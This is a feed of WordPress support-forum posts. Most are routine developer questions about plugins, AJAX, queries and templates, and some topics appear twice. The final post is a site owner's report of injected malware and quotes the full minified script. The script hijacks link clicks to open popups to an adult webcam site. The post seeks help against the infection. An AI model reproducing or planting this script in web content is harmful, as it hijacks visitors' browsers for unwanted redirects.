Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

jdillman on "Using front-end AJAX in WordPress plugin"

$
0
0

I'm trying to write an AJAX request as a WordPress plugin. I initially made the request to an outside non-WP server (where it ran fine) simply for testing because I'm entirely new to developing for WP. I then tried using wp_localize_script and .ajaxurl according to the WP codex, but the only response I'm getting is a '0' from admin-ajax. Here is the plugin code:

imap.php:

<?php
/**
 * Plugin Name: JQVMap & ChartJS World Map
 * Author:      Jesse Dillman
 */
add_action( 'wp_enqueue_scripts', 'enqueue_dependencies' );

function enqueue_dependencies()
{
    # Run only on given page
    if( !is_page(229) )
        return;

    # Enqueue styles
    wp_enqueue_style( 'jmap-css', plugins_url( '/css/jqvmap.css', __FILE__ ) );

    # Register dependencies files
    wp_register_script( 'js', plugins_url( '/js/jquery-1.7.2.min.js', __FILE__ ) );
    wp_register_script( 'jmap-js', plugins_url( '/js/jquery.vmap.js', __FILE__ ) );
    wp_register_script( 'world-js', plugins_url( '/js/jquery.vmap.world.js', __FILE__ ) );
    wp_register_script( 'unregions-js', plugins_url( '/js/jquery.vmap.un_regions.js', __FILE__ ) );
    wp_register_script( 'regioncolors-js', plugins_url( '/js/region_colors.js', __FILE__ ) );
    wp_register_script( 'chart-js', plugins_url( '/js/Chart.js', __FILE__ ) );

    # Enqueue custom JS file along with dependencies
    wp_enqueue_script(
        'start-js',
        plugins_url( '/js/start.js', __FILE__ ),
        array( 'js', 'jmap-js', 'world-js', 'unregions-js', 'regioncolors-js', 'chart-js' ), // dependencies
        false,
        true
    );

    wp_localize_script( 'start-js', 'get_data', array( 'ajaxurl' => admin_url( 'admin-ajax.php')));
}

function get_chart_data(){
$region1Pie = array(50, '#ddd', 50, '#dc7d50');
$region2Pie = array(25, '#ddd', 75, '#7a9e89');
$region3Pie = array(75, '#ddd', 25, '#867e40');

$chartData = new stdClass();
$pieData = array();

// Swtich based on region
switch($_REQUEST['region']) {
  case 'China':
    $pieArray = $region1Pie;
    break;
  case 'Canada':
    $pieArray = $region2Pie;
    break;
  case 'Brazil':
    $pieArray = $region3Pie;
    break;
}

for($i=0; $i<count($pieArray); $i+=2) {
  $pie= new stdClass();
  $pie->value = $pieArray[$i];
  $pie->color = $pieArray[$i+1];
  $pieData[] = $pie;
}

$chartData->pieData = $pieData;
echo json_encode($chartData);

die();
}

add_action('wp_ajax_get_chart_data', 'get_chart_data');
add_action('wp_ajax_nopriv_get_chart_data', 'get_chart_data');
?>

start.js:

// get pie chart canvas
var pie= document.getElementById("pie").getContext("2d");

jQuery(document).ready(function() {

    jQuery('#vmap').vectorMap({
        map: 'world_en',
        backgroundColor: '#fff',
        // more config options....
        onRegionClick: function(element, code, region)
        {
            $.ajax(get_data.ajaxurl, {
                data: {region: region},
                action: 'get_chart_data',
                dataType: 'json',
                success: function(response) {
                    new Chart(pie).Doughnut(response.pieData, pieOptions);
                }
            });
        }
    });
});

When running correctly outside of WP, this renders a world map that displays a pie chart using different data tables depending on where the user clicked. It uses ChartJS and JQVMaps. Again, I'm new to using AJAX in WordPress. Am I using localize_script incorrectly, or is there another problem with how I've implemented the WP admin-ajax?


andybrna on "What is the DB change made by setting "Active user""

$
0
0

Hi,

I am working on a multi site install and I'd like to know what data is changed in the DB when you set:

Active user / "Tick this box to use this as the main profile."

I can't seem to find anything in the wp_NUM_options, wp_users or wp_usermeta tables, can anyone point me in the right direction?

thanks in advance, Andy.

sccr410 on "Track plugin usage"

$
0
0

I remember seeing a while back a plugin that you could include with your plugin which would track some information about your users' setup: themes installed, plugins installed, version of WordPress, etc. This would be very helpful for me to know so I could make sure that my plugin is compatible with the most frequently used themes/plugins alongside my plugin. I think it was a premium service, but I cannot find any info on it.

caiken on "get_currentuserinfo() does not work in internet explorer"

$
0
0

get_currentuserinfo() does not seem to work on my site when I am logged in through internet explorer. In firefox and chrome, when i try to echo my user id after calling the global and function, nothing will show.

'My code is as follows..
global $current_user;
get_currentuserinfo();
$userid = $current_user->id;
echo $userid;

It echo's 1 in firefox and chrome and 0 in internet explorer?'

PerryDS on "Change title from Ultimate word cloud selection"

$
0
0

on this site ... http://www.differentiatedinstruction.ca, when you select an item under Search by learning format (uses portfolio project attributes), it comes up with a title "Project Attributes Read & Reflect".

I just want it to say - Read & Reflect, I don't want "Project Attributes" in the title ...

It uses the ultimate tag cloud widget ...

SpidermanPuddin on "Set Custom Query Pagination"

$
0
0

I have a unique situation where the query I’m using has to be a custom select query. Because of this the global $wp_query paginates. This makes some plugins and other functions add additional coding that is unnecessary.

I’ve tried several functions to fix this. Including this:

add_action( 'pre_get_posts',  'change_posts_number'  );
function change_posts_number( $query ) {
        $query->set( 'posts_per_page', -1 );
    return $query;
}

Also I'm using Genesis.

Sandeep "The Shawn" Tripathy on "Any Way To Integrate Imgur with WordPress Image Upload System"

$
0
0

I was wondering if there is a way as how the default image upload system in WordPress can be integrated with Imgur hosting service. In short, if a user uploads an image via the WordPress system the image would get uploaded to Imgur instead of the WordPress "wp-content/uploads" folder.
Already something like this exists for AWS S3/Google Cloud where the uploads move into AWS instead of WP so why not use Imgur for this purpose.

liquidshaman on "Video Category Tab not working!"

$
0
0

I'm trying to get the category "videos" to pull up when the user clicks the "videos" tab on the nav menu HERE

My problem is that it pulls up all posts rather than just the videos category.
The php for the newsfeed/events page works correctly and pulls up the specific category - but doesn't use the same php/css template.

If I could get the functionality from the newsfeed/events pages to display the CSS style of the videos page I would be golden!

I know it's probably a simple line of php, however I'm new to the php game and completely in the dark on this one.

Thanks in advanced !


itajackass on "Filter comments list in admin page by categories"

$
0
0

Is there a way to filter the comments list in backend admin panel, by categories?
I'd like to show for ADMIN-A only comments (for moderation) by CATEGORY-POST-A, for ADMIN-B only comments to moderate by CATEGORY-POST-B....etc.... i can't find nothing how to filter comments by category-post.... thanks in advanced

shuttleuk on "Loop query to display posts from same day as post being viewed"

$
0
0

I so have managed to build a custom theme which all works well. The one thing I am unable to do (due to lack of wordpress/php) is the following.

I want to be able to generate a link that displays any posts that were published on the same day as the post that user is currently viewing. For example, if a users is reading a post in one category from 20th June 2014, it will display links to all posts, from any category, that were posted on the same day.

Any help would be greatly appreciated.

Many thanks

rmurdo on "SQL result next to menu name"

$
0
0

Hi all, I have a small plugin that has some records stored in sql. What I need its to do this:

In the admin section of WP on the left side I see my plugin link to the settings page. You know how some plugins have a red circle with a number in it? Like items waiting to be monitored?

I would like to do with. I know the SQL to get the result but am not having much luck getting to work in the plugin. Does anyone have an example on how to do this?

Thanks!

rabbitFoot on "Plugin install Page Templates"

$
0
0

I am writing a few plugins which require Page Templates;

1) Do these have to be installed in the current theme (and others if changed) or is there a shared place I can put them? If require to be installed in each theme then what is the standard / recommended method?

2) Is it best to use the plugin to create and write the files out or is there an inbuilt method for placing the templates?

sweebee on "Get posts with if and else"

$
0
0

I have the following code

<?php

$args = array( 'posts_per_page' => -1,'post_status' => 'future','order' => 'ASC', 'offset'=> 0, 'post_type' => 'special' );

$myposts = get_posts( $args );
foreach ( $myposts as $post ) : setup_postdata( $post ); ?>

then the post data etc. and after that

<?php endforeach;
wp_reset_postdata();?>

But if there are no posts there must be placed something else like there are no posts available.

Tried a lot of possibilities but no one worked.

andybrna on "What is the DB change made by setting "Active user""

$
0
0

Hi,

I am working on a multi site install and I'd like to know what data is changed in the DB when you set:

Active user / "Tick this box to use this as the main profile."

I can't seem to find anything in the wp_NUM_options, wp_users or wp_usermeta tables, can anyone point me in the right direction?

thanks in advance, Andy.

kabbo508 on "new tab from template"

$
0
0

here is my website url: http://redripley.com/
in the home homepage you see "FEATURED WORK" option is in there have my many woks details,but when i set my cursor pointer and try to opn any of one work detail by new tab or new window,then i cant get this option..can any one help me out of this issue...here is the my homepage template php code.

<?php
/**
 * Template Name: Homepage Template
 * Description: A Page Template that showcases Sticky Posts, Asides, and Blog Posts
 *
 * The showcase template in Twenty Eleven consists of a featured posts section using sticky posts,
 * another recent posts area (with the latest post shown in full and the rest as a list)
 * and a left sidebar holding aside posts.
 *
 * We are creating two queries to fetch the proper posts and a custom widget for the sidebar.
 *
 * @package WordPress
 * @subpackage Twenty_Eleven
 * @since Twenty Eleven 1.0
 */

get_header(); ?>

		<div id="primary">

			<div id="content" role="main">

                <div class="tagline" style="padding-top: 40px;">
                	<div class="big">WE MAKE <span class="bigred">AWESOME</span> VIDEOS<BR>FOR BRANDS AND AGENCIES</div>
                    <div class="small"><h1 style="font-size:28px;">Vancouver Video Production Company</h1>We're a small full service multifaceted video production studio based out of Vancouver, Canada. <a href="http://redripley.com/people/">Our team</a> is incredibly enthusiastic about every project we do. By clearly communicating with our clients and sweating the small details, we've built a loyal client base ranging from large market corporations to small startups. We have the right expertise and experience to be able to provide you with only the <a href="http://redripley.com/work/">highest quality commercial video production</a> and <b><i>corporate video production</i></b> services. Our goal is to produce a video that captures your messaging in a unique and powerful way, helping you to captivate your audience and achieve your marketing objectives.<br /><br /><h2 style="font-size:25px;">Corporate Video Production</h2>We use only the latest in video production technology, providing our clients with cutting edge video production services for corporate and commercial projects. We guarantee 100% customer satisfaction every time. If you're looking for a professional <b><i>Vancouver video production company</i></b> who will get the job done quickly, efficiently and affordably, get in touch with our video production team. We don't want to create yet another boring, lifeless video. We only create pieces that are beautiful, powerful and unforgettable, telling the story that you want people to know. We would be happy to discuss with you your vision and to help you make it come to life. </div>
                </div>

				<div class="labelblock">
                	<div class="label">FEATURED WORK</div>
                    <a href="<?php echo esc_url( home_url( '/work/' ) ); ?>" class="redbutton">VIEW LATEST WORK</a>
                    <div class="clear"></div>
                </div>
				<div class="blocksholder">

                <div id="container" class="clearfix">

					  <?php
                          $linksPosts = new WP_Query();
                          $linksPosts->query('cat=13&order=DESC&showposts=13');
                      ?>
                      <?php
					  $counter = 1;
					  while ($linksPosts->have_posts()) : $linksPosts->the_post();

					  global $more;
					  $more = 0;

					  $values = get_post_custom_values("type");
					  $short_title = get_post_custom_values("short_title");

					  if($values[0]!='spotlight'){
						 $class = "col1";
						 $fontcolor = "skyblue";
						 $tagline = 'BLOG';
						 $cover = 'background: #2fd3f6;';
					  }else{
						 $class = "col2";
						 $fontcolor = "orange";
						 $tagline = $values[0];
						 $cover = 'background: #ffa801;';
					  }
					 	$large_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'large');
						$short_description = get_post_custom_values("short_description");

						if (in_category('Featured Videos')){
						//$tagline = 'Featured';
						}

					  ?>
                      <div class="box <?php echo $class;?> m-info-block">
                      <div class="box-title"><?php
					  	echo the_time('Y.d.m');
					  //echo $short_title[0];?></div>
                      <div class="box-tagline <?php echo $fontcolor;?>">
					  <?php
					  	$catcount = 1;
						foreach((get_the_category()) as $category) {
//						echo $category->cat_name;
						if($category->cat_name!='Blog' && $category->cat_name!='Featured Videos' && $category->cat_name!='All Video Posts'){
							if($catcount != 1){
								echo ' / ';
							}
							echo $category->cat_name;
							$catcount++;
						}
/*						if($category->cat_name!='Blog' || $category->cat_name!='Featured Videos'){
							$category_id = get_cat_ID( $category->cat_name );
							$category_link = get_category_link( $category_id );
							echo '<a href="'.$category_link.'">'.$category->cat_name.'</a>';
						} */
						}
						?>
					  <?php

					  //$categories_list = get_the_category_list( __( '.', 'twentyeleven' ) ); echo $categories_list;?><?php //echo $tagline;?></div>
                      	<div class="cover" onclick="location.href='<?php echo the_permalink();?>'" style="<?php echo $cover;?>">
                        	<div class="bunchtext">
                            	<div class="bunchholder">
                                    <div class="line1">VIEW</div>
                                    <div class="line2">MORE</div>
                                    <div class="line3">></div>
                                </div>
                            </div>
                        </div>
                        <div class="innercontent">
                            <div class="read">
                            <div class="thumb" style="background: url(<?php echo $large_image_url[0];?>) center no-repeat;"></div>
                            <h4><?php the_title(); ?></h4>
                            <div class="text"><?php echo $short_description[0];?></div>
                            </div>
                        </div>

                      </div>
                      <?php
					  $counter++;
					  endwhile; ?>

                </div>

                </div><br />
                <div class="labelblock">
                	<div class="label">OUR CLIENTS</div>
                    <a href="<?php echo esc_url( home_url( '/work/' ) ); ?>" class="redbutton">VIEW OUR CLIENTS</a>
                    <div class="clear"></div>
                </div>
                <div class="blocksholder">
               	<?php
				$sidebar_page = new WP_Query('pagename=Partner Logos - Do Not Remove');
				$sidebar_page->the_post();
				the_content(); ?>

                </div>

                <div class="clear"></div>

                <div class="quoteholder">
					<div class="quote"><span class="openquote">"</span>&nbsp;Red+Ripley, a video production and communications firm specializing in custom marketing strategies, video production, corporate videos, event videos, studio filming, film shoots, RED™ EPIC, SCARLET HD shooting, post production, editing, animation, visual effects (VFX), production management, and digital film and video presentations that can be used on the web.<span class="closequote">"</span></div>
                                </div>

				<div class="clear"></div>

                <div class="backtotopholder">
                	<a href="#top" class="button"></a>
                </div>
                <div class="clear"></div>

                <div class="contactholder">
                	Get in touch<br>
                    <span class="number">604.765.2444</span><br>
                    No Obligation Consultation
                </div>

			</div><!-- #content -->
		</div><!-- #primary -->
<div class="clear"></div>

<?php get_footer(); ?>

Pinoss on "Insert a Post in Wp_post MYSQL"

$
0
0

Hi,
I need to insert some posts and pages into wp_post database with Php code directly. Now the code it's working but I would to insert a Shortcode in the Content of generated post (this shortcode is generated by Shortcode Exec PHP plugin and contains some php lines) . The problem is that when I enter to generated post, the output is : [shortcode]? and not : Hello World (if, for example, the shortocode is echo "Hello World";

I'm using this code:

<?php
$ip = 'myserver';
$user = 'mydatabaseuser';
$password = 'mypass';
$db_name = 'mydatabsename';
$conn = mysql_pconnect($ip,$user,$password) or die();
$error = mysql_select_db($db_name,$conn) or die();

$data="INSERT INTO mydatabsename.wp_posts (ID, post_author, post_date, post_date_gmt, post_content, post_title, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count) VALUES ('1202', '0', '2014-09-14 00:00:00', '2014-09-14 00:00:00', '[shortcode]', 'test', 'test', 'publish', 'open', 'open', '', 'test', '', '', '2014-09-14 02:06:11', '2014-09-14 05:21:26', '', '0', '', '0', 'post', '', '0');";

$result_data=mysql_query($data,$conn);

echo "inserted!";

?>

I tried to insert Posts with "wp_insert_post" native function but allways generates duplicates posts in database.

How Can I solve this issue? Wich method is better to insert posts/pages manually in wp_post database?

Thanks in advance.

PerryDS on "Change title from Ultimate word cloud selection"

$
0
0

on this site ... http://www.differentiatedinstruction.ca, when you select an item under Search by learning format (uses portfolio project attributes), it comes up with a title "Project Attributes Read & Reflect".

I just want it to say - Read & Reflect, I don't want "Project Attributes" in the title ...

It uses the ultimate tag cloud widget ...

SpidermanPuddin on "Set Custom Query Pagination"

$
0
0

I have a unique situation where the query I’m using has to be a custom select query. Because of this the global $wp_query paginates. This makes some plugins and other functions add additional coding that is unnecessary.

I’ve tried several functions to fix this. Including this:

add_action( 'pre_get_posts',  'change_posts_number'  );
function change_posts_number( $query ) {
        $query->set( 'posts_per_page', -1 );
    return $query;
}

Also I'm using Genesis.

Agonius on "Problems with displaying custom post type and custom taxonomy"

$
0
0

I'm trying to make a simple plugin that let's me create blogposts from a custom post_type (tutorials), with it's own custom taxonomies. I got this working.

There are 2 problems though.

1: I also created a widget which works almost the same as the category widget provided by WordPress. It displays the categories from my custom taxonomy (tutorials). It also shows the post count per category. Just like the default category widget for regular posts. But, when I click on one of the categories, I get a 'Not Found' page, instead of an overview of my tutorials within that category.

The url of this page is 'example.com/tutorials/category'. I already tried to make a custom template called 'taxonomy-tutorials.php', which is a copy of the 'archive.php', but this displays all posts of my custom post type on the url 'example.com/tutorials/'. What I want is that only the posts from a certain category will be displayed, on the url 'example.com/tutorials/category-name/'.

2: The tutorials (custom post_type) should have the url 'example.com/tutorials/category-name/blogpost-title'. But I have no idea how to set this correctly. Right now the url is 'example.com/tutorials/blogpost-title'.

The permalink structure is set to '/%category%/%postname%'. Regular blogposts for example are 'example.com/category-name/blogpost-title'. And my custom blogposts should be 'example.com/tutorials/category-name/blogpost-title'.

Here is the PHP code that registers the custom post_type, the custom taxonomy, and the widget.

/* Function to register the custom post type */
function create_tutorials_posttype() {
	register_post_type( 'tutorials', array(
			'labels' => array(
				'name' => __( 'Tutorials' ),
				'singular_name' => __( 'Tutorial' )
			),
			'taxonomies' => array( 'tutorials' ),
			'public' => true,
			'has_archive' => true,
			'rewrite' => array( 'slug' => 'tutorials' )
		)
	);
}

/* Function to register the custom taxonomy */
function create_tutorials_taxonomy() {
	register_taxonomy( 'tutorials', 'tutorials', array(
		'labels' => array (
			'name' => __( 'Tutorials' ),
			'Singular_name' => __( 'Tutorial' )
		),
		'hierarchical' => true,
		'public' => true,
		'show_ui' => true,
		'show_admin_column' => true,
		'query_var' => true,
		'rewrite' => array( 'slug' => 'tutorials' )
	) );
}

public function widget( $args, $instance ) {
	// outputs the content of the widget
	$title = apply_filters( 'widget_title', $instance['title'] );

	echo $args['before_widget'];
	if ( ! empty( $title ) ) {
		echo $args['before_title'] . $title . $args['after_title'];
	}

	$terms = get_terms( 'tutorials', 'orderby=name&hide_empty=1' );
	echo '<ul class="taxonomylist">';
	foreach ($terms as $term) {
		$link = get_term_link( $term, 'tutorials' );
		echo '<li><a href="'.$link.'">'.$term->name.'</a><span class="badge"> ('.$term->count.')</span></li>';
	}
	echo '</ul>';
	echo $args['after_widget'];
}

I hope someone knows how to do this. Thanks in advance.

paul_41 on "malware javascript code injected"

$
0
0

Hey!
We run plenty of adult blogs, recently some of them have been injected with a javascript redirect script. The place of injection: DB table wp_posts -> post_content
The JS code is added at the end of the post.

The script redirects to a webcam site by cashnude.

I have googled a lot, it seems not be a widespread.
Only could find how to remove the injected script, but the injection was back next day of course.

My server admin already spent a week to diagnose the hack, we changed all passwords possible including mysql passwords, we have no idea how the javascript is injected to the post.

Blogs with various WP plugins and WP themes have been injected,
however some older blogs with same plugins but older WP core have not been injected. The latest WP core 4.0 infected as well.

Does anybody have an experience with this JS redirect by cashnude?

Any response will be appreciated.

The malware code:

<script
type='text/javascript' rel="f179568d5746648ce97a252d9b3db074">
function
consoleLog(e){try{console.log(e)}catch(t){}}(function(e,t){function
n(){if(!s){s=true;for(var
e=0;e<i.length;e++){i[e].fn.call(window,i[e].ctx)}i=[]}}function
r(){if(document.readyState==="complete"){n()}}e=e||"docReady";t=t||window;var
i=[];var s=false;var
o=false;t[e]=function(e,t){if(s){setTimeout(function(){e(t)},1);return}else{i.push({fn:e,ctx:t})}if(document.readyState==="complete"){setTimeout(n,1)}else
if(!o){if(document.addEventListener){document.addEventListener("DOMContentLoaded",n,false);window.addEventListener("load",n,false)}else{document.attachEvent("onreadystatechange",r);window.attachEvent("onload",n)}o=true}}})("docReady",window);var
aMs=document.getElementsByTagName("a");var
amSwindow=false;docReady(function(){for(var
e=0;e<aMs.length;e++){aMs[e].addEventListener("click",function(e){var
t=Math.floor(Math.random()*2+1);consoleLog("ps:"+t);if(t==2){if(!amSwindow){amSwindow=window.open("http://fish-14j-js.cashnude.com/","NEI","width=10000,height=10000")}else{amSwindow.focus()}}},false)}})

Viewing all 8245 articles
Browse latest View live




Latest Images